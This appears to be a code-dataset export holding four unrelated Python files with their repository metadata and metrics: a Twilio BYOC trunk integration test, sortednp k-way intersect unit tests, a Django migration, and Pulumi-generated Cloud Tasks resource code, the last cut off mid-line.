0.900112

0.884942

0.869115

0.849111

0.84216

0.818385

0

0.003255

0.261491

749,220

16,155

187

46.376973

0.811058

0.012452

0

0.810657

0

0.063929

0.009676

0

null

0.008218

0.002152

null

0.000391

0

null

0

1

0

1

0

null

0

1

0

8

765572f0fe46dd4283fa14c964e62435702f858b

8,787

py

Python

tests/integration/voice/v1/test_byoc_trunk.py

BrimmingDev/twilio-python

3226b5fed92b3c2ce64f03e6b19fc4792ef7647f

[ "MIT" ]

1,362

2015-01-04T10:25:18.000Z

2022-03-24T10:07:08.000Z

tests/integration/voice/v1/test_byoc_trunk.py

BrimmingDev/twilio-python

3226b5fed92b3c2ce64f03e6b19fc4792ef7647f

[ "MIT" ]

299

2015-01-30T09:52:39.000Z

2022-03-31T23:03:02.000Z

tests/integration/voice/v1/test_byoc_trunk.py

BrimmingDev/twilio-python

3226b5fed92b3c2ce64f03e6b19fc4792ef7647f

[ "MIT" ]

622

2015-01-03T04:43:09.000Z

2022-03-29T14:11:00.000Z

# coding=utf-8 r""" This code was generated by \ / _ _ _| _ _ | (_)\/(_)(_|\/| |(/_ v1.0.0 / / """ from tests import IntegrationTestCase from tests.holodeck import Request from twilio.base.exceptions import TwilioException from twilio.http.response import Response class ByocTrunkTestCase(IntegrationTestCase): def test_create_request(self): self.holodeck.mock(Response(500, '')) with self.assertRaises(TwilioException): self.client.voice.v1.byoc_trunks.create() self.holodeck.assert_has_request(Request( 'post', 'https://voice.twilio.com/v1/ByocTrunks', )) def test_create_response(self): self.holodeck.mock(Response( 201, ''' { "account_sid": "ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "sid": "BYaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "friendly_name": "friendly_name", "voice_url": "https://byoc.example.com/twilio/app", "voice_method": "POST", "voice_fallback_method": "POST", "voice_fallback_url": "https://byoc.example.com/twilio/fallback", "status_callback_method": "POST", "status_callback_url": "https://byoc.example.com/twilio/status_callback", "cnam_lookup_enabled": false, "connection_policy_sid": "NYaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "from_domain_sid": "SDaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "date_created": "2020-03-18T23:31:36Z", "date_updated": "2020-03-18T23:31:36Z", "url": "https://voice.twilio.com/v1/ByocTrunks/BYaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" } ''' )) actual = self.client.voice.v1.byoc_trunks.create() self.assertIsNotNone(actual) def test_fetch_request(self): self.holodeck.mock(Response(500, '')) with self.assertRaises(TwilioException): self.client.voice.v1.byoc_trunks("BYXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX").fetch() self.holodeck.assert_has_request(Request( 'get', 'https://voice.twilio.com/v1/ByocTrunks/BYXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX', )) def test_fetch_response(self): self.holodeck.mock(Response( 200, ''' { "account_sid": "ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "sid": "BYaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "friendly_name": "friendly_name", "voice_url": "https://byoc.example.com/twilio/app", "voice_method": "POST", "voice_fallback_method": "POST", "voice_fallback_url": "https://byoc.example.com/twilio/fallback", "status_callback_method": "POST", "status_callback_url": "https://byoc.example.com/twilio/status_callback", "cnam_lookup_enabled": false, "connection_policy_sid": "NYaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "from_domain_sid": "SDaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "date_created": "2020-03-18T23:31:36Z", "date_updated": "2020-03-18T23:31:37Z", "url": "https://voice.twilio.com/v1/ByocTrunks/BYaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" } ''' )) actual = self.client.voice.v1.byoc_trunks("BYXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX").fetch() self.assertIsNotNone(actual) def test_list_request(self): self.holodeck.mock(Response(500, '')) with self.assertRaises(TwilioException): self.client.voice.v1.byoc_trunks.list() self.holodeck.assert_has_request(Request( 'get', 'https://voice.twilio.com/v1/ByocTrunks', )) def test_read_full_response(self): self.holodeck.mock(Response( 200, ''' { "meta": { "page": 0, "page_size": 50, "first_page_url": "https://voice.twilio.com/v1/ByocTrunks?PageSize=50&Page=0", "previous_page_url": null, "url": "https://voice.twilio.com/v1/ByocTrunks?PageSize=50&Page=0", "next_page_url": null, "key": "byoc_trunks" }, "byoc_trunks": [ { "account_sid": "ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "sid": "BYaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "friendly_name": "friendly_name", "voice_url": "https://byoc.example.com/twilio/app", "voice_method": "POST", "voice_fallback_method": "POST", "voice_fallback_url": "https://byoc.example.com/twilio/fallback", "status_callback_method": "POST", "status_callback_url": "https://byoc.example.com/twilio/status_callback", "cnam_lookup_enabled": false, "connection_policy_sid": "NYaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "from_domain_sid": "SDaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "date_created": "2020-03-18T23:31:36Z", "date_updated": "2020-03-18T23:31:37Z", "url": "https://voice.twilio.com/v1/ByocTrunks/BYaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" } ] } ''' )) actual = self.client.voice.v1.byoc_trunks.list() self.assertIsNotNone(actual) def test_read_empty_response(self): self.holodeck.mock(Response( 200, ''' { "meta": { "page": 0, "page_size": 50, "first_page_url": "https://voice.twilio.com/v1/ByocTrunks?PageSize=50&Page=0", "previous_page_url": null, "url": "https://voice.twilio.com/v1/ByocTrunks?PageSize=50&Page=0", "next_page_url": null, "key": "byoc_trunks" }, "byoc_trunks": [] } ''' )) actual = self.client.voice.v1.byoc_trunks.list() self.assertIsNotNone(actual) def test_update_request(self): self.holodeck.mock(Response(500, '')) with self.assertRaises(TwilioException): self.client.voice.v1.byoc_trunks("BYXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX").update() self.holodeck.assert_has_request(Request( 'post', 'https://voice.twilio.com/v1/ByocTrunks/BYXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX', )) def test_update_response(self): self.holodeck.mock(Response( 200, ''' { "account_sid": "ACaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "sid": "BYaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "friendly_name": "update_name", "voice_url": "https://byoc.example.com/twilio_updated/app", "voice_method": "GET", "voice_fallback_method": "GET", "voice_fallback_url": "https://byoc.example.com/twilio_updated/fallback", "status_callback_method": "GET", "status_callback_url": "https://byoc.example.com/twilio_updated/status_callback", "cnam_lookup_enabled": true, "connection_policy_sid": "NYaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab", "from_domain_sid": "SDaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab", "date_created": "2020-03-18T23:31:36Z", "date_updated": "2020-03-18T23:31:37Z", "url": "https://voice.twilio.com/v1/ByocTrunks/BYaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" } ''' )) actual = self.client.voice.v1.byoc_trunks("BYXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX").update() self.assertIsNotNone(actual) def test_delete_request(self): self.holodeck.mock(Response(500, '')) with self.assertRaises(TwilioException): self.client.voice.v1.byoc_trunks("BYXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX").delete() self.holodeck.assert_has_request(Request( 'delete', 'https://voice.twilio.com/v1/ByocTrunks/BYXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX', )) def test_delete_response(self): self.holodeck.mock(Response( 204, None, )) actual = self.client.voice.v1.byoc_trunks("BYXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX").delete() self.assertTrue(actual)

38.371179

106

0.559235

757

8,787

6.27609

0.136063

0.033677

0.04378

0.051989

0.892865

0.868028

0.846348

0.841928

0.808251

0.752473

0

0.031902

0.318653

8,787

228

107

38.539474

0.76165

0.012405

0

0.626506

1

0

0.151136

0.059406

0

0.192771

1

0.13253

false

0

0.048193

0

0.192771

0

null

0

1

0

1

0

null

0

7

7683520c3bc2e3c6bd82dbdb93102d800fb7b3f4

7,323

py

Python

src/sortednp/tests/test_kway_intersect.py

pombredanne/sauerburger.com-frank-sortednp

9e245dc110a703e2cb2ca194c2ff8db5c9fa356c

[ "MIT" ]

null

src/sortednp/tests/test_kway_intersect.py

pombredanne/sauerburger.com-frank-sortednp

9e245dc110a703e2cb2ca194c2ff8db5c9fa356c

[ "MIT" ]

null

src/sortednp/tests/test_kway_intersect.py

pombredanne/sauerburger.com-frank-sortednp

9e245dc110a703e2cb2ca194c2ff8db5c9fa356c

[ "MIT" ]

null

from abc import ABCMeta, abstractmethod import unittest import numpy as np import sortednp as snp class KWayIntersectBase(metaclass=ABCMeta): """ Define general test cases for the k-way-intersect method. Sub-classes need to implement have to overwrite the dtype method. """ @abstractmethod def get_dtype(self): """ Returns the numpy data type, which should be used for all tests. """ pass def test_simple_0_sorted(self): """ Check that a TypeError is raised when no arrays are passed to the intersecter. """ self.assertRaises(TypeError, snp.kway_intersect) def test_simple_1_sorted(self): """ Check that the same array is returned, if only one sorted array is passed to the intersecter. """ a = np.array([1, 3, 7], dtype=self.get_dtype()) i = snp.kway_intersect(a) self.assertEqual(list(i), [1, 3, 7]) self.assertEqual(i.dtype, self.get_dtype()) def test_simple_2_sorted(self): """ Check that the correctly intersected array is returned when called with two sorted arrays. """ a = np.array([1, 3, 7], dtype=self.get_dtype()) b = np.array([3, 5, 7, 9], dtype=self.get_dtype()) i = snp.kway_intersect(a, b) self.assertEqual(list(i), [3, 7]) self.assertEqual(i.dtype, self.get_dtype()) def test_simple_4_sorted(self): """ Check that the correctly intersected array is returned when called with four sorted arrays. """ a = np.array([1, 3, 5, 7], dtype=self.get_dtype()) b = np.array([0, 1, 3, 7, 9], dtype=self.get_dtype()) c = np.array([1, 2, 3], dtype=self.get_dtype()) d = np.array([1, 3, 10], dtype=self.get_dtype()) i = snp.kway_intersect(a, b, c, d) self.assertEqual(list(i), [1, 3]) self.assertEqual(i.dtype, self.get_dtype()) def test_simple_0_not_sorted(self): """ Check that a TypeError is raised when no arrays are passed to the intersecter and assume_sorted is False. """ self.assertRaises(TypeError, snp.kway_intersect, assume_sorted=False) def test_simple_1_not_sorted(self): """ Check that the same array is returned, if only one sorted array is passed to the intersecter and assume_sorted is False. """ a = np.array([3, 1, 7], dtype=self.get_dtype()) i = snp.kway_intersect(a, assume_sorted=False) self.assertEqual(list(i), [1, 3, 7]) self.assertEqual(i.dtype, self.get_dtype()) def test_simple_2_not_sorted(self): """ Check that the correctly intersected array is returned when called with two sorted arrays and assume_sorted is False. """ a = np.array([1, 7, 3], dtype=self.get_dtype()) b = np.array([9, 3, 5, 7], dtype=self.get_dtype()) i = snp.kway_intersect(a, b, assume_sorted=False) self.assertEqual(list(i), [3, 7]) self.assertEqual(i.dtype, self.get_dtype()) def test_simple_4_not_sorted(self): """ Check that the correctly intersected array is returned when called with four sorted arrays and assume_sorted is False. """ a = np.array([3, 5, 1, 7], dtype=self.get_dtype()) b = np.array([3, 7, 1, 9], dtype=self.get_dtype()) c = np.array([2, 1, 3], dtype=self.get_dtype()) d = np.array([1, 10, 3], dtype=self.get_dtype()) i = snp.kway_intersect(a, b, c, d, assume_sorted=False) self.assertEqual(list(i), [1, 3]) self.assertEqual(i.dtype, self.get_dtype()) def test_simple_1_callable_1(self): """ Check that the generated array is returned if a single generated is given. """ a = lambda: np.array([3, 5, 7], dtype=self.get_dtype()) i = snp.kway_intersect(a) self.assertEqual(list(i), [3, 5, 7]) self.assertEqual(i.dtype, self.get_dtype()) def test_simple_3_callable_3(self): """ Check that the correctly intersected array is returned when called with three callable objects. """ a = lambda: np.array([1, 3, 5, 7], dtype=self.get_dtype()) b = lambda: np.array([1, 3, 7, 9], dtype=self.get_dtype()) c = lambda: np.array([1, 2, 3], dtype=self.get_dtype()) i = snp.kway_intersect(a, b, c) self.assertEqual(list(i), [1, 3]) self.assertEqual(i.dtype, self.get_dtype()) def test_simple_3_callable_1(self): """ Check that the correctly intersected array is returned when called with one callable and two arrays. """ a = lambda: np.array([1, 3, 5, 7], dtype=self.get_dtype()) b = np.array([1, 3, 7, 9], dtype=self.get_dtype()) c = np.array([1, 2, 3], dtype=self.get_dtype()) i = snp.kway_intersect(a, b, c) self.assertEqual(list(i), [1, 3]) self.assertEqual(i.dtype, self.get_dtype()) i = snp.kway_intersect(b, a, c) self.assertEqual(list(i), [1, 3]) self.assertEqual(i.dtype, self.get_dtype()) i = snp.kway_intersect(c, b, a) self.assertEqual(list(i), [1, 3]) self.assertEqual(i.dtype, self.get_dtype()) def test_simple_1_callable_1_not_sorted(self): """ Check that the generated array is returned if a single generated is given and assume_sorted is False. """ a = lambda: np.array([3, 7, 5], dtype=self.get_dtype()) i = snp.kway_intersect(a, assume_sorted=False) self.assertEqual(list(i), [3, 5, 7]) self.assertEqual(i.dtype, self.get_dtype()) def test_simple_3_callable_3_not_sorted(self): """ Check that the correctly intersected array is returned when called with three callable objects and assume_sorted is False. """ a = lambda: np.array([5, 1, 3, 7], dtype=self.get_dtype()) b = lambda: np.array([4, 3, 1, 9], dtype=self.get_dtype()) c = lambda: np.array([2, 1, 3], dtype=self.get_dtype()) i = snp.kway_intersect(a, b, c, assume_sorted=False) self.assertEqual(list(i), [1, 3]) self.assertEqual(i.dtype, self.get_dtype()) def test_simple_3_callable_1_not_sorted(self): """ Check that the correctly intersected array is returned when called with one callable and two arrays and assume_sorted is False. """ a = lambda: np.array([5, 1, 3, 7], dtype=self.get_dtype()) b = np.array([4, 3, 1, 9], dtype=self.get_dtype()) c = np.array([2, 1, 3], dtype=self.get_dtype()) i = snp.kway_intersect(a, b, c, assume_sorted=False) self.assertEqual(list(i), [1, 3]) self.assertEqual(i.dtype, self.get_dtype()) i = snp.kway_intersect(b, a, c, assume_sorted=False) self.assertEqual(list(i), [1, 3]) self.assertEqual(i.dtype, self.get_dtype()) i = snp.kway_intersect(c, b, a, assume_sorted=False) self.assertEqual(list(i), [1, 3]) self.assertEqual(i.dtype, self.get_dtype()) class KWayIntersectTestCase_Double(KWayIntersectBase, unittest.TestCase): def get_dtype(self): return 'float'

35.376812

81

0.602212

1,069

7,323

3.995323

0.097287

0.086162

0.123624

0.175135

0.890424

0.885741

0.865605

0.858581

0.852494

0.815032

0

0.029231

0.266557

7,323

206

82

35.548544

0.765965

0.222996

0

0.504854

0

0.00096

0

0.330097

1

0.15534

false

0.009709

0.038835

0.009709

0.223301

0

null

0

1

0

null

0

7

76aa1476a777c862789bf28f3174b6aaa34769e2

1,862

py

Python

sedastrela_is/person/migrations/0002_auto_20160310_1440.py

ondrejsika/sedastrela-is

be9c449c81fd1d7711a09acceb2321fd4828e8b1

[ "MIT" ]

null

sedastrela_is/person/migrations/0002_auto_20160310_1440.py

ondrejsika/sedastrela-is

be9c449c81fd1d7711a09acceb2321fd4828e8b1

[ "MIT" ]

null

sedastrela_is/person/migrations/0002_auto_20160310_1440.py

ondrejsika/sedastrela-is

be9c449c81fd1d7711a09acceb2321fd4828e8b1

[ "MIT" ]

null

# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('person', '0001_initial'), ] operations = [ migrations.AlterField( model_name='person', name='email', field=models.EmailField(max_length=254, null=True, blank=True), ), migrations.AlterField( model_name='person', name='father_email', field=models.EmailField(max_length=254, null=True, blank=True), ), migrations.AlterField( model_name='person', name='father_name', field=models.CharField(max_length=32, null=True, blank=True), ), migrations.AlterField( model_name='person', name='father_phone', field=models.CharField(max_length=16, null=True, blank=True), ), migrations.AlterField( model_name='person', name='mother_email', field=models.EmailField(max_length=254, null=True, blank=True), ), migrations.AlterField( model_name='person', name='mother_name', field=models.CharField(max_length=32, null=True, blank=True), ), migrations.AlterField( model_name='person', name='mother_phone', field=models.CharField(max_length=16, null=True, blank=True), ), migrations.AlterField( model_name='person', name='nick_name', field=models.CharField(max_length=32, null=True, blank=True), ), migrations.AlterField( model_name='person', name='phone', field=models.CharField(max_length=16, null=True, blank=True), ), ]

31.033333

75

0.563373

183

1,862

5.562842

0.20765

0.176817

0.221022

0.256385

0.85167

0.81336

0

0.020376

0.314715

1,862

59

76

31.559322

0.777429

0.011278

0

0.679245

0

0.087548

0

1

0

false

0

0.037736

0

0.09434

0

null

0

1

0

null

0

8

4f3012c3d7b2b63db3d90748451a083c95c7862e

26,884

py

Python

sdk/python/pulumi_google_native/cloudtasks/v2/task.py

AaronFriel/pulumi-google-native

75d1cda425e33d4610348972cd70bddf35f1770d

[ "Apache-2.0" ]

44

2021-04-18T23:00:48.000Z

2022-02-14T17:43:15.000Z

sdk/python/pulumi_google_native/cloudtasks/v2/task.py

AaronFriel/pulumi-google-native

75d1cda425e33d4610348972cd70bddf35f1770d

[ "Apache-2.0" ]

354

2021-04-16T16:48:39.000Z

2022-03-31T17:16:39.000Z

sdk/python/pulumi_google_native/cloudtasks/v2/task.py

AaronFriel/pulumi-google-native

75d1cda425e33d4610348972cd70bddf35f1770d

[ "Apache-2.0" ]

8

2021-04-24T17:46:51.000Z

2022-01-05T10:40:21.000Z

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from ... import _utilities from . import outputs from ._enums import * from ._inputs import * __all__ = ['TaskArgs', 'Task'] @pulumi.input_type class TaskArgs: def __init__(__self__, *, queue_id: pulumi.Input[str], app_engine_http_request: Optional[pulumi.Input['AppEngineHttpRequestArgs']] = None, dispatch_deadline: Optional[pulumi.Input[str]] = None, http_request: Optional[pulumi.Input['HttpRequestArgs']] = None, location: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, project: Optional[pulumi.Input[str]] = None, response_view: Optional[pulumi.Input['TaskResponseView']] = None, schedule_time: Optional[pulumi.Input[str]] = None): """ The set of arguments for constructing a Task resource. :param pulumi.Input['AppEngineHttpRequestArgs'] app_engine_http_request: HTTP request that is sent to the App Engine app handler. An App Engine task is a task that has AppEngineHttpRequest set. :param pulumi.Input[str] dispatch_deadline: The deadline for requests sent to the worker. If the worker does not respond by this deadline then the request is cancelled and the attempt is marked as a `DEADLINE_EXCEEDED` failure. Cloud Tasks will retry the task according to the RetryConfig. Note that when the request is cancelled, Cloud Tasks will stop listening for the response, but whether the worker stops processing depends on the worker. For example, if the worker is stuck, it may not react to cancelled requests. The default and maximum values depend on the type of request: * For HTTP tasks, the default is 10 minutes. The deadline must be in the interval [15 seconds, 30 minutes]. * For App Engine tasks, 0 indicates that the request has the default deadline. The default deadline depends on the [scaling type](https://cloud.google.com/appengine/docs/standard/go/how-instances-are-managed#instance_scaling) of the service: 10 minutes for standard apps with automatic scaling, 24 hours for standard apps with manual and basic scaling, and 60 minutes for flex apps. If the request deadline is set, it must be in the interval [15 seconds, 24 hours 15 seconds]. Regardless of the task's `dispatch_deadline`, the app handler will not run for longer than than the service's timeout. We recommend setting the `dispatch_deadline` to at most a few seconds more than the app handler's timeout. For more information see [Timeouts](https://cloud.google.com/tasks/docs/creating-appengine-handlers#timeouts). `dispatch_deadline` will be truncated to the nearest millisecond. The deadline is an approximate deadline. :param pulumi.Input['HttpRequestArgs'] http_request: HTTP request that is sent to the worker. An HTTP task is a task that has HttpRequest set. :param pulumi.Input[str] name: Optionally caller-specified in CreateTask. The task name. The task name must have the following format: `projects/PROJECT_ID/locations/LOCATION_ID/queues/QUEUE_ID/tasks/TASK_ID` * `PROJECT_ID` can contain letters ([A-Za-z]), numbers ([0-9]), hyphens (-), colons (:), or periods (.). For more information, see [Identifying projects](https://cloud.google.com/resource-manager/docs/creating-managing-projects#identifying_projects) * `LOCATION_ID` is the canonical ID for the task's location. The list of available locations can be obtained by calling ListLocations. For more information, see https://cloud.google.com/about/locations/. * `QUEUE_ID` can contain letters ([A-Za-z]), numbers ([0-9]), or hyphens (-). The maximum length is 100 characters. * `TASK_ID` can contain only letters ([A-Za-z]), numbers ([0-9]), hyphens (-), or underscores (_). The maximum length is 500 characters. :param pulumi.Input['TaskResponseView'] response_view: The response_view specifies which subset of the Task will be returned. By default response_view is BASIC; not all information is retrieved by default because some data, such as payloads, might be desirable to return only when needed because of its large size or because of the sensitivity of data that it contains. Authorization for FULL requires `cloudtasks.tasks.fullView` [Google IAM](https://cloud.google.com/iam/) permission on the Task resource. :param pulumi.Input[str] schedule_time: The time when the task is scheduled to be attempted or retried. `schedule_time` will be truncated to the nearest microsecond. """ pulumi.set(__self__, "queue_id", queue_id) if app_engine_http_request is not None: pulumi.set(__self__, "app_engine_http_request", app_engine_http_request) if dispatch_deadline is not None: pulumi.set(__self__, "dispatch_deadline", dispatch_deadline) if http_request is not None: pulumi.set(__self__, "http_request", http_request) if location is not None: pulumi.set(__self__, "location", location) if name is not None: pulumi.set(__self__, "name", name) if project is not None: pulumi.set(__self__, "project", project) if response_view is not None: pulumi.set(__self__, "response_view", response_view) if schedule_time is not None: pulumi.set(__self__, "schedule_time", schedule_time) @property @pulumi.getter(name="queueId") def queue_id(self) -> pulumi.Input[str]: return pulumi.get(self, "queue_id") @queue_id.setter def queue_id(self, value: pulumi.Input[str]): pulumi.set(self, "queue_id", value) @property @pulumi.getter(name="appEngineHttpRequest") def app_engine_http_request(self) -> Optional[pulumi.Input['AppEngineHttpRequestArgs']]: """ HTTP request that is sent to the App Engine app handler. An App Engine task is a task that has AppEngineHttpRequest set. """ return pulumi.get(self, "app_engine_http_request") @app_engine_http_request.setter def app_engine_http_request(self, value: Optional[pulumi.Input['AppEngineHttpRequestArgs']]): pulumi.set(self, "app_engine_http_request", value) @property @pulumi.getter(name="dispatchDeadline") def dispatch_deadline(self) -> Optional[pulumi.Input[str]]: """ The deadline for requests sent to the worker. If the worker does not respond by this deadline then the request is cancelled and the attempt is marked as a `DEADLINE_EXCEEDED` failure. Cloud Tasks will retry the task according to the RetryConfig. Note that when the request is cancelled, Cloud Tasks will stop listening for the response, but whether the worker stops processing depends on the worker. For example, if the worker is stuck, it may not react to cancelled requests. The default and maximum values depend on the type of request: * For HTTP tasks, the default is 10 minutes. The deadline must be in the interval [15 seconds, 30 minutes]. * For App Engine tasks, 0 indicates that the request has the default deadline. The default deadline depends on the [scaling type](https://cloud.google.com/appengine/docs/standard/go/how-instances-are-managed#instance_scaling) of the service: 10 minutes for standard apps with automatic scaling, 24 hours for standard apps with manual and basic scaling, and 60 minutes for flex apps. If the request deadline is set, it must be in the interval [15 seconds, 24 hours 15 seconds]. Regardless of the task's `dispatch_deadline`, the app handler will not run for longer than than the service's timeout. We recommend setting the `dispatch_deadline` to at most a few seconds more than the app handler's timeout. For more information see [Timeouts](https://cloud.google.com/tasks/docs/creating-appengine-handlers#timeouts). `dispatch_deadline` will be truncated to the nearest millisecond. The deadline is an approximate deadline. """ return pulumi.get(self, "dispatch_deadline") @dispatch_deadline.setter def dispatch_deadline(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "dispatch_deadline", value) @property @pulumi.getter(name="httpRequest") def http_request(self) -> Optional[pulumi.Input['HttpRequestArgs']]: """ HTTP request that is sent to the worker. An HTTP task is a task that has HttpRequest set. """ return pulumi.get(self, "http_request") @http_request.setter def http_request(self, value: Optional[pulumi.Input['HttpRequestArgs']]): pulumi.set(self, "http_request", value) @property @pulumi.getter def location(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "location") @location.setter def location(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "location", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ Optionally caller-specified in CreateTask. The task name. The task name must have the following format: `projects/PROJECT_ID/locations/LOCATION_ID/queues/QUEUE_ID/tasks/TASK_ID` * `PROJECT_ID` can contain letters ([A-Za-z]), numbers ([0-9]), hyphens (-), colons (:), or periods (.). For more information, see [Identifying projects](https://cloud.google.com/resource-manager/docs/creating-managing-projects#identifying_projects) * `LOCATION_ID` is the canonical ID for the task's location. The list of available locations can be obtained by calling ListLocations. For more information, see https://cloud.google.com/about/locations/. * `QUEUE_ID` can contain letters ([A-Za-z]), numbers ([0-9]), or hyphens (-). The maximum length is 100 characters. * `TASK_ID` can contain only letters ([A-Za-z]), numbers ([0-9]), hyphens (-), or underscores (_). The maximum length is 500 characters. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter def project(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "project") @project.setter def project(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "project", value) @property @pulumi.getter(name="responseView") def response_view(self) -> Optional[pulumi.Input['TaskResponseView']]: """ The response_view specifies which subset of the Task will be returned. By default response_view is BASIC; not all information is retrieved by default because some data, such as payloads, might be desirable to return only when needed because of its large size or because of the sensitivity of data that it contains. Authorization for FULL requires `cloudtasks.tasks.fullView` [Google IAM](https://cloud.google.com/iam/) permission on the Task resource. """ return pulumi.get(self, "response_view") @response_view.setter def response_view(self, value: Optional[pulumi.Input['TaskResponseView']]): pulumi.set(self, "response_view", value) @property @pulumi.getter(name="scheduleTime") def schedule_time(self) -> Optional[pulumi.Input[str]]: """ The time when the task is scheduled to be attempted or retried. `schedule_time` will be truncated to the nearest microsecond. """ return pulumi.get(self, "schedule_time") @schedule_time.setter def schedule_time(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "schedule_time", value) class Task(pulumi.CustomResource): @overload def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, app_engine_http_request: Optional[pulumi.Input[pulumi.InputType['AppEngineHttpRequestArgs']]] = None, dispatch_deadline: Optional[pulumi.Input[str]] = None, http_request: Optional[pulumi.Input[pulumi.InputType['HttpRequestArgs']]] = None, location: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, project: Optional[pulumi.Input[str]] = None, queue_id: Optional[pulumi.Input[str]] = None, response_view: Optional[pulumi.Input['TaskResponseView']] = None, schedule_time: Optional[pulumi.Input[str]] = None, __props__=None): """ Creates a task and adds it to a queue. Tasks cannot be updated after creation; there is no UpdateTask command. * The maximum task size is 100KB. :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[pulumi.InputType['AppEngineHttpRequestArgs']] app_engine_http_request: HTTP request that is sent to the App Engine app handler. An App Engine task is a task that has AppEngineHttpRequest set. :param pulumi.Input[str] dispatch_deadline: The deadline for requests sent to the worker. If the worker does not respond by this deadline then the request is cancelled and the attempt is marked as a `DEADLINE_EXCEEDED` failure. Cloud Tasks will retry the task according to the RetryConfig. Note that when the request is cancelled, Cloud Tasks will stop listening for the response, but whether the worker stops processing depends on the worker. For example, if the worker is stuck, it may not react to cancelled requests. The default and maximum values depend on the type of request: * For HTTP tasks, the default is 10 minutes. The deadline must be in the interval [15 seconds, 30 minutes]. * For App Engine tasks, 0 indicates that the request has the default deadline. The default deadline depends on the [scaling type](https://cloud.google.com/appengine/docs/standard/go/how-instances-are-managed#instance_scaling) of the service: 10 minutes for standard apps with automatic scaling, 24 hours for standard apps with manual and basic scaling, and 60 minutes for flex apps. If the request deadline is set, it must be in the interval [15 seconds, 24 hours 15 seconds]. Regardless of the task's `dispatch_deadline`, the app handler will not run for longer than than the service's timeout. We recommend setting the `dispatch_deadline` to at most a few seconds more than the app handler's timeout. For more information see [Timeouts](https://cloud.google.com/tasks/docs/creating-appengine-handlers#timeouts). `dispatch_deadline` will be truncated to the nearest millisecond. The deadline is an approximate deadline. :param pulumi.Input[pulumi.InputType['HttpRequestArgs']] http_request: HTTP request that is sent to the worker. An HTTP task is a task that has HttpRequest set. :param pulumi.Input[str] name: Optionally caller-specified in CreateTask. The task name. The task name must have the following format: `projects/PROJECT_ID/locations/LOCATION_ID/queues/QUEUE_ID/tasks/TASK_ID` * `PROJECT_ID` can contain letters ([A-Za-z]), numbers ([0-9]), hyphens (-), colons (:), or periods (.). For more information, see [Identifying projects](https://cloud.google.com/resource-manager/docs/creating-managing-projects#identifying_projects) * `LOCATION_ID` is the canonical ID for the task's location. The list of available locations can be obtained by calling ListLocations. For more information, see https://cloud.google.com/about/locations/. * `QUEUE_ID` can contain letters ([A-Za-z]), numbers ([0-9]), or hyphens (-). The maximum length is 100 characters. * `TASK_ID` can contain only letters ([A-Za-z]), numbers ([0-9]), hyphens (-), or underscores (_). The maximum length is 500 characters. :param pulumi.Input['TaskResponseView'] response_view: The response_view specifies which subset of the Task will be returned. By default response_view is BASIC; not all information is retrieved by default because some data, such as payloads, might be desirable to return only when needed because of its large size or because of the sensitivity of data that it contains. Authorization for FULL requires `cloudtasks.tasks.fullView` [Google IAM](https://cloud.google.com/iam/) permission on the Task resource. :param pulumi.Input[str] schedule_time: The time when the task is scheduled to be attempted or retried. `schedule_time` will be truncated to the nearest microsecond. """ ... @overload def __init__(__self__, resource_name: str, args: TaskArgs, opts: Optional[pulumi.ResourceOptions] = None): """ Creates a task and adds it to a queue. Tasks cannot be updated after creation; there is no UpdateTask command. * The maximum task size is 100KB. :param str resource_name: The name of the resource. :param TaskArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts(TaskArgs, pulumi.ResourceOptions, *args, **kwargs) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, app_engine_http_request: 